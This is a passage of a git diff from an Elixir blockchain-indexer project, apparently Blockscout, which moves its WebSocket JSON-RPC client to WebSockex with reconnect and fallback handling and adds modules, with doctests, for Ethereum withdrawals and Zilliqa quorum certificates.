false})} end - @impl :websocket_client - def onconnect(_, %__MODULE__{connected: false} = state) do - {:ok, reconnect(%__MODULE__{state | connected: true})} + def handle_disconnect(_, %{retry: true} = state) do + Logger.metadata(fetcher: :websocket_client) + RetryWorker.activate(state) + Logger.warning("WS endpoint #{state.url} is still unavailable") + {:ok, state} end - @impl :websocket_client - def ondisconnect(_reason, %__MODULE__{request_id_to_registration: request_id_to_registration} = state) do - final_state = Enum.reduce(request_id_to_registration, state, &disconnect_request_id_registration/2) + @attempts_to_reconnect 3 + def handle_disconnect(%{attempt_number: attempt}, state) do + Logger.metadata(fetcher: :websocket_client) + + final_state = + state.request_id_to_registration + |> Enum.reduce(state, &disconnect_request_id_registration/2) + |> Map.put(:connected, false) + + cond do + attempt < @attempts_to_reconnect -> + {:reconnect, final_state} + + state.fallback? -> + Logger.warning("WS fallback endpoint #{state.fallback_url} is unavailable") + {:ok, final_state} + + not is_nil(state.fallback_conn) -> + RetryWorker.activate(state) + Logger.warning("WS endpoint #{state.url} is unavailable, switching to fallback #{state.fallback_url}") - {:reconnect, %__MODULE__{final_state | connected: false}} + {:reconnect, state.fallback_conn, + %{final_state | url: state.fallback_url, fallback?: true, fallback_url: nil, fallback_conn: nil}} + + true -> + RetryWorker.activate(state) + Logger.warning("WS endpoint #{state.url} is unavailable, and no fallback is set, shutting down WS client") + {:ok, final_state} + end end - @impl :websocket_client - def websocket_handle({:text, text}, _request, %__MODULE__{} = state) do + def handle_frame({:text, text}, state) do case Jason.decode(text) do {:ok, json} -> handle_response(json, state) @@ -149,25 +149,96 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do end end - @impl :websocket_client - def websocket_handle({:ping, ""}, _request, %__MODULE__{} = state), do: {:reply, {:pong, ""}, state} + def handle_ping({:ping, ""}, state) do + {:reply, {:pong, ""}, state} + end - @impl :websocket_client - def websocket_handle({:pong, _}, _request, state) do + def handle_pong({:pong, _}, state) do {:ok, state} end - @impl :websocket_client - def websocket_info({:"$gen_call", from, request}, _, %__MODULE__{} = state) do - case handle_call(request, from, state) do - {:reply, _, %__MODULE__{}} = reply -> reply - {:noreply, %__MODULE__{} = new_state} -> {:ok, new_state} + def handle_info({:"$gen_call", from, request}, state) do + case register(request, from, state) do + {:ok, unique_request, updated_state} -> + case state.connected do + true -> + {:reply, frame(unique_request), updated_state} + + false -> + {:ok, updated_state} + end + + {:error, _reason} = error -> + GenServer.reply(from, error) + {:ok, state} end end - @impl :websocket_client - def websocket_terminate(close, _request, %__MODULE__{} = state) do - broadcast(close, state) + def handle_cast({:send_message, frame}, state) do + {:reply, frame, state} + end + + def terminate(reason, state) do + broadcast(reason, state) + end + + defp build_conn(url, options) when is_binary(url) do + common_opts = [ + name: options[:name] || __MODULE__, + async: true, + handle_initial_conn_failure: true + ] + + additional_opts = + case url do + "wss://" <> _ -> + %URI{host: host} = URI.parse(url) + host_charlist = String.to_charlist(host) + + :ssl.start() + + [ + insecure: false, + ssl_options: [ + cacerts: :certifi.cacerts(), + depth: 99, + # SNI extension discloses host name in the clear, but allows for compatibility with Virtual Hosting for TLS + server_name_indication: host_charlist, + verify_fun: {&:ssl_verify_hostname.verify_fun/3, [check_hostname: host_charlist]}, + customize_hostname_check: [ + match_fun: :public_key.pkix_verify_hostname_match_fun(:https) + ] + ] + ] + + _ -> + [] + end + + full_opts = Keyword.merge(common_opts, additional_opts) + + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + case WebSockex.Conn.parse_url(url) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + {:ok, uri} -> {:ok, WebSockex.Conn.new(uri, full_opts), full_opts} + error -> error + end + end + + defp build_fallback_conn(nil, _options) do + Logger.info("WS fallback endpoint is not set") + nil + end + + defp build_fallback_conn(url, options) do + case build_conn(url, options) do + {:ok, conn, _opts} -> + conn + + error -> + Logger.warning("Unable to build WS fallback connection: #{inspect(error)}, continuing without fallback") + nil + end end defp broadcast(message, %__MODULE__{subscription_reference_to_subscription: subscription_reference_to_subscription}) do @@ -176,7 +247,6 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do |> Subscription.broadcast(message) end - # Not re-subscribing after disconnect is the same as a successful unsubscribe defp disconnect_request_id_registration( {request_id, %Registration{ @@ -207,7 +277,6 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do } end - # Re-run in `onconnect\2` defp disconnect_request_id_registration({_request_id, %Registration{type: type}}, state) when type in ~w(json_rpc subscribe)a do state @@ -217,26 +286,9 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do {:text, Jason.encode!(request)} end - defp handle_call(message, from, %__MODULE__{connected: connected} = state) do - case register(message, from, state) do - {:ok, unique_request, updated_state} -> - case connected do - true -> - {:reply, frame(unique_request), updated_state} - - false -> - {:noreply, updated_state} - end - - {:error, _reason} = error -> - GenServer.reply(from, error) - {:noreply, state} - end - end - defp handle_response( %{"method" => "eth_subscription", "params" => %{"result" => result, "subscription" => subscription_id}}, - %__MODULE__{ + %{ subscription_id_to_subscription_reference: subscription_id_to_subscription_reference, subscription_reference_to_subscription: subscription_reference_to_subscription } = state @@ -267,15 +319,15 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp handle_response( %{"id" => id} = response, - %__MODULE__{request_id_to_registration: request_id_to_registration} = state + %{request_id_to_registration: request_id_to_registration} = state ) do {registration, new_request_id_to_registration} = Map.pop(request_id_to_registration, id) - new_state = %__MODULE__{state | request_id_to_registration: new_request_id_to_registration} + new_state = %{state | request_id_to_registration: new_request_id_to_registration} respond_to_registration(registration, response, new_state) end - defp handle_response(response, %__MODULE__{} = state) do + defp handle_response(response, state) do Logger.error(fn -> [ "Unexpected JSON response from web socket\n", @@ -289,7 +341,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do {:ok, state} end - defp reconnect(%__MODULE__{} = state) do + defp reconnect(state) do state |> rerequest() |> resubscribe() @@ -298,13 +350,13 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp register( {:json_rpc, original_request}, from, - %__MODULE__{request_id_to_registration: request_id_to_registration} = state + %{request_id_to_registration: request_id_to_registration} = state ) do unique_id = unique_request_id(state) request = %{original_request | id: unique_id} {:ok, request, - %__MODULE__{ + %{ state | request_id_to_registration: Map.put(request_id_to_registration, unique_id, %Registration{ @@ -318,14 +370,14 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp register( {:subscribe, event, params}, from, - %__MODULE__{request_id_to_registration: request_id_to_registration} = state + %{request_id_to_registration: request_id_to_registration} = state ) when is_binary(event) and is_list(params) do unique_id = unique_request_id(state) - request = request(%{id: unique_id, method: "eth_subscribe", params: [event | params]}) + request = EthereumJSONRPC.request(%{id: unique_id, method: "eth_subscribe", params: [event | params]}) {:ok, request, - %__MODULE__{ + %{ state | request_id_to_registration: Map.put(request_id_to_registration, unique_id, %Registration{from: from, type: :subscribe, request: request}) @@ -335,7 +387,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp register( {:unsubscribe, %Subscription{reference: subscription_reference}}, from, - %__MODULE__{ + %{ request_id_to_registration: request_id_to_registration, subscription_reference_to_subscription_id: subscription_reference_to_subscription_id } = state @@ -343,12 +395,12 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do case subscription_reference_to_subscription_id do %{^subscription_reference => subscription_id} -> unique_id = unique_request_id(state) - request = request(%{id: unique_id, method: "eth_unsubscribe", params: [subscription_id]}) + request = EthereumJSONRPC.request(%{id: unique_id, method: "eth_unsubscribe", params: [subscription_id]}) { :ok, request, - %__MODULE__{ + %{ state | request_id_to_registration: Map.put(request_id_to_registration, unique_id, %Registration{ @@ -366,7 +418,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp rerequest(%__MODULE__{request_id_to_registration: request_id_to_registration} = state) do Enum.each(request_id_to_registration, fn {_, %Registration{request: request}} -> - :websocket_client.cast(self(), frame(request)) + WebSockex.cast(self(), {:send_message, frame(request)}) end) state @@ -375,7 +427,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp respond_to_registration( %Registration{type: :json_rpc, from: from}, response, - %__MODULE__{} = state + state ) do reply = case response do @@ -395,7 +447,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do request: %{params: [event | params]} }, %{"result" => subscription_id}, - %__MODULE__{ + %{ subscription_id_to_subscription_reference: subscription_id_to_subscription_reference, subscription_reference_to_subscription: subscription_reference_to_subscription, subscription_reference_to_subscription_id: subscription_reference_to_subscription_id, @@ -456,7 +508,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp respond_to_registration( %Registration{type: :subscribe, from: from}, %{"error" => error}, - %__MODULE__{} = state + state ) do GenServer.reply(from, {:error, error}) @@ -470,7 +522,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do request: %{method: "eth_unsubscribe", params: [subscription_id]} }, response, - %__MODULE__{ + %{ subscription_id_to_subscription_reference: subscription_id_to_subscription_reference, subscription_reference_to_subscription: subscription_reference_to_subscription, subscription_reference_to_subscription_id: subscription_reference_to_subscription_id @@ -509,7 +561,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do defp respond_to_registration( nil, response, - %__MODULE__{request_id_to_registration: request_id_to_registration} = state + %{request_id_to_registration: request_id_to_registration} = state ) do Logger.error(fn -> [ @@ -542,9 +594,9 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do acc_request_id_to_registration } = acc_state -> request_id = unique_request_id(acc_state) - request = request(%{id: request_id, method: "eth_subscribe", params: [event | params]}) + request = EthereumJSONRPC.request(%{id: request_id, method: "eth_subscribe", params: [event | params]}) - :websocket_client.cast(self(), frame(request)) + WebSockex.cast(self(), {:send_message, frame(request)}) %__MODULE__{ acc_state @@ -558,7 +610,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClient do end) end - defp unique_request_id(%__MODULE__{request_id_to_registration: request_id_to_registration} = state) do + defp unique_request_id(%{request_id_to_registration: request_id_to_registration} = state) do unique_request_id = EthereumJSONRPC.unique_request_id() case request_id_to_registration do diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawal.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawal.ex new file mode 100644 index 000000000000..3763fc5d66c0 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawal.ex @@ -0,0 +1,101 @@ +defmodule EthereumJSONRPC.Withdrawal do + @moduledoc """ + Withdrawal format included in the return of + `eth_getBlockByHash` and `eth_getBlockByNumber` + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + @type elixir :: %{ + String.t() => EthereumJSONRPC.address() | EthereumJSONRPC.hash() | String.t() | non_neg_integer() | nil + } + + @typedoc """ + * `"index"` - the withdrawal number `t:EthereumJSONRPC.quantity/0`. + * `"validatorIndex"` - the validator number initiated the withdrawal `t:EthereumJSONRPC.quantity/0`. + * `"address"` - `t:EthereumJSONRPC.address/0` of the receiver. + * `"amount"` - `t:EthereumJSONRPC.quantity/0` of wei transferred. + """ + @type t :: %{ + String.t() => + EthereumJSONRPC.address() | EthereumJSONRPC.hash() | EthereumJSONRPC.quantity() | String.t() | nil + } + + @type params :: %{ + index: non_neg_integer(), + validator_index: non_neg_integer(), + address_hash: EthereumJSONRPC.address(), + block_hash: EthereumJSONRPC.hash(), + block_number: non_neg_integer(), + amount: non_neg_integer() + } + + @doc """ + Converts `t:elixir/0` to `t:params/0`. + + iex> EthereumJSONRPC.Withdrawal.elixir_to_params( + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4040000000000, + ...> "index" => 3867, + ...> "validatorIndex" => 1721, + ...> "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + ...> "blockNumber" => 3 + ...> } + ...> ) + %{ + address_hash: "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + amount: 4040000000000000000000, + block_hash: "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + block_number: 3, + index: 3867, + validator_index: 1721 + } + """ + @spec elixir_to_params(elixir) :: params + def elixir_to_params(%{ + "index" => index, + "validatorIndex" => validator_index, + "address" => address_hash, + "amount" => amount, + "blockHash" => block_hash, + "blockNumber" => block_number + }) do + %{ + index: index, + validator_index: validator_index, + address_hash: address_hash, + block_hash: block_hash, + block_number: block_number, + amount: amount * 1_000_000_000 + } + end + + @doc """ + Decodes the stringly typed numerical fields to `t:non_neg_integer/0`. + + iex> EthereumJSONRPC.Withdrawal.to_elixir( + ...> %{ + ...> "index" => "0xf1b", + ...> "validatorIndex" => "0x6b9", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> }, "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", 1 + ...> ) + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3867, + "validatorIndex" => 1721, + "blockNumber" => 1 + } + """ + @spec to_elixir(%{String.t() => String.t()}, String.t(), non_neg_integer()) :: elixir + def to_elixir(withdrawal, block_hash, block_number) when is_map(withdrawal) do + Enum.into(withdrawal, %{"blockHash" => block_hash, "blockNumber" => block_number}, &entry_to_elixir/1) + end + + defp entry_to_elixir({key, value}) when key in ~w(index validatorIndex amount), do: {key, quantity_to_integer(value)} + defp entry_to_elixir({key, value}) when key in ~w(address), do: {key, value} +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawals.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawals.ex new file mode 100644 index 000000000000..863857eee573 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/withdrawals.ex @@ -0,0 +1,67 @@ +defmodule EthereumJSONRPC.Withdrawals do + @moduledoc """ + List of withdrawals format included in the return of + `eth_getBlockByHash` and `eth_getBlockByNumber` + """ + + alias EthereumJSONRPC.Withdrawal + + @type elixir :: [Withdrawal.elixir()] + @type params :: [Withdrawal.params()] + @type t :: [Withdrawal.t()] + + @doc """ + Converts `t:elixir/0` to `t:params/0`. + + iex> EthereumJSONRPC.Withdrawals.elixir_to_params([ + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4040000000000, + ...> "index" => 3867, + ...> "validatorIndex" => 1721, + ...> "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + ...> "blockNumber" => 1 + ...> } + ...> ]) + [ + %{ + address_hash: "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + amount: 4040000000000000000000, + block_hash: "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + index: 3867, + validator_index: 1721, + block_number: 1 + } + ] + """ + @spec elixir_to_params(elixir) :: params + def elixir_to_params(elixir) when is_list(elixir) do + Enum.map(elixir, &Withdrawal.elixir_to_params/1) + end + + @doc """ + Decodes stringly typed fields in entries of `withdrawals`. + + iex> EthereumJSONRPC.Withdrawals.to_elixir([ + ...> %{ + ...> "index" => "0xf1b", + ...> "validatorIndex" => "0x6b9", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> }], "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", 3) + [ + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3867, + "blockNumber" => 3, + "validatorIndex" => 1721 + } + ] + """ + @spec to_elixir([%{String.t() => String.t()}], String.t(), non_neg_integer()) :: elixir + def to_elixir(withdrawals, block_hash, block_number) when is_list(withdrawals) do + Enum.map(withdrawals, &Withdrawal.to_elixir(&1, block_hash, block_number)) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa.ex new file mode 100644 index 000000000000..36815e47067d --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa.ex @@ -0,0 +1,19 @@ +defmodule EthereumJSONRPC.Zilliqa do + @moduledoc """ + Zilliqa type definitions. + """ + alias EthereumJSONRPC.Zilliqa.{ + AggregateQuorumCertificate, + NestedQuorumCertificates, + QuorumCertificate + } + + @type consensus_data_params :: %{ + zilliqa_quorum_certificates_params: [QuorumCertificate.params()], + zilliqa_aggregate_quorum_certificates_params: [AggregateQuorumCertificate.params()], + zilliqa_nested_quorum_certificates_params: [NestedQuorumCertificates.params()] + } + + @type validator_index :: non_neg_integer() + @type signers :: [validator_index()] +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/aggregate_quorum_certificate.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/aggregate_quorum_certificate.ex new file mode 100644 index 000000000000..d114358938a7 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/aggregate_quorum_certificate.ex @@ -0,0 +1,187 @@ +defmodule EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate do + @moduledoc """ + Represents an aggregate quorum certificate associated with the block. + """ + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + alias EthereumJSONRPC.Zilliqa.NestedQuorumCertificates + + @type elixir :: %{ + String.t() => + EthereumJSONRPC.quantity() + | EthereumJSONRPC.hash() + | EthereumJSONRPC.data() + | NestedQuorumCertificates.elixir() + } + + @type t :: %__MODULE__{ + block_hash: EthereumJSONRPC.hash(), + view: non_neg_integer(), + signature: EthereumJSONRPC.hash(), + quorum_certificates: NestedQuorumCertificates.t() + } + + @type params :: %{ + block_hash: EthereumJSONRPC.hash(), + view: non_neg_integer(), + signature: EthereumJSONRPC.hash() + } + + defstruct [:block_hash, :view, :signature, :quorum_certificates] + + @doc """ + Decodes the JSON object returned by JSONRPC node into the `t:t/0` format. + + ## Examples + + iex> aqc_json = %{ + ...> # "cosigned" => "0x7080000000000000000000000000000000000000000000000000000000000000", + ...> "cosigned" => "[0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]", + ...> "quorum_certificates" => [ + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> }, + ...> %{ + ...> "block_hash" => "0x4b8939a7fb0d7de4b288bafd4d5caa02f53abf3c1e348fca5038eebbf68248fa", + ...> "cosigned" => "0xd080000000000000000000000000000000000000000000000000000000000000", + ...> "signature" => "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> "view" => "0x115cc7" + ...> } + ...> ], + ...> "signature" => "0x820f591cd78b29a69ba25bc85c4327fa3b0adb61a73a4f0bd943b4ab0b97e061eae9ac032d19fbfab7efb89fac2454ab0b89fea83185c0dac749ff55b0e2c21535a2b712872491577728db868d11939461a6bfde0d94d238f46b643bbe19767e", + ...> "view" => "0x115cca" + ...> } + iex> block_hash = "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d" + iex> EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate.new(aqc_json, block_hash) + %EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137866, + signature: "0x820f591cd78b29a69ba25bc85c4327fa3b0adb61a73a4f0bd943b4ab0b97e061eae9ac032d19fbfab7efb89fac2454ab0b89fea83185c0dac749ff55b0e2c21535a2b712872491577728db868d11939461a6bfde0d94d238f46b643bbe19767e", + quorum_certificates: %EthereumJSONRPC.Zilliqa.NestedQuorumCertificates{ + signers: [1, 2, 3, 8], + items: [ + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + }, + %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137863, + signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + signers: [0, 1, 3, 8] + } + ] + } + } + """ + @spec new(elixir(), EthereumJSONRPC.hash()) :: t() + def new( + %{ + "view" => view, + "signature" => signature, + "cosigned" => bit_vector, + "quorum_certificates" => quorum_certificates + }, + block_hash + ) do + %__MODULE__{ + block_hash: block_hash, + view: quantity_to_integer(view), + signature: signature, + quorum_certificates: + NestedQuorumCertificates.new( + quorum_certificates, + bit_vector, + block_hash + ) + } + end + + @doc """ + Converts `t:t/0` format to params used in `Explorer.Chain`. + + ## Examples + + iex> aggregate_quorum_certificate = %EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137866, + ...> signature: "0x820f591cd78b29a69ba25bc85c4327fa3b0adb61a73a4f0bd943b4ab0b97e061eae9ac032d19fbfab7efb89fac2454ab0b89fea83185c0dac749ff55b0e2c21535a2b712872491577728db868d11939461a6bfde0d94d238f46b643bbe19767e", + ...> quorum_certificates: %EthereumJSONRPC.Zilliqa.NestedQuorumCertificates{ + ...> signers: [1, 2, 3, 8], + ...> items: [ + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> }, + ...> %EthereumJSONRPC.Zilliqa.QuorumCertificate{ + ...> block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + ...> view: 1137863, + ...> signature: "0xa78c7f3e07e1df963ddeda17a1e5afd97c7c8a6fc8e0616249c22a2a1cc91f8eef6073cab8ba22b50cc7b38090f1ad9109473d30f24d57858d1f28c6679b3c4deeb800e5572b5e15604596594d506d3103a44d8b707da581f1a4b82310aeecb6", + ...> signers: [0, 1, 3, 8] + ...> } + ...> ] + ...> } + ...> } + iex> EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate.to_params(aggregate_quorum_certificate) + %{ + signature: "0x820f591cd78b29a69ba25bc85c4327fa3b0adb61a73a4f0bd943b4ab0b97e061eae9ac032d19fbfab7efb89fac2454ab0b89fea83185c0dac749ff55b0e2c21535a2b712872491577728db868d11939461a6bfde0d94d238f46b643bbe19767e", + block_hash: "0x9c8a047e40ea975cb14c5ccff232a2210fbf5d77b10c748b3559ada0d4adad9d", + view: 1137866 + } + """ + @spec to_params(t()) :: params() + def to_params(%__MODULE__{ + block_hash: block_hash, + view: view, + signature: signature + }) do + %{ + block_hash: block_hash, + view: view, + signature: signature + } + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/helper.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/helper.ex new file mode 100644 index 000000000000..dc630270e34b --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/zilliqa/helper.ex @@ -0,0 +1,145 @@ +defmodule EthereumJSONRPC.Zilliqa.Helper do + @moduledoc """ + Helper functions for processing consensus data. + """ + 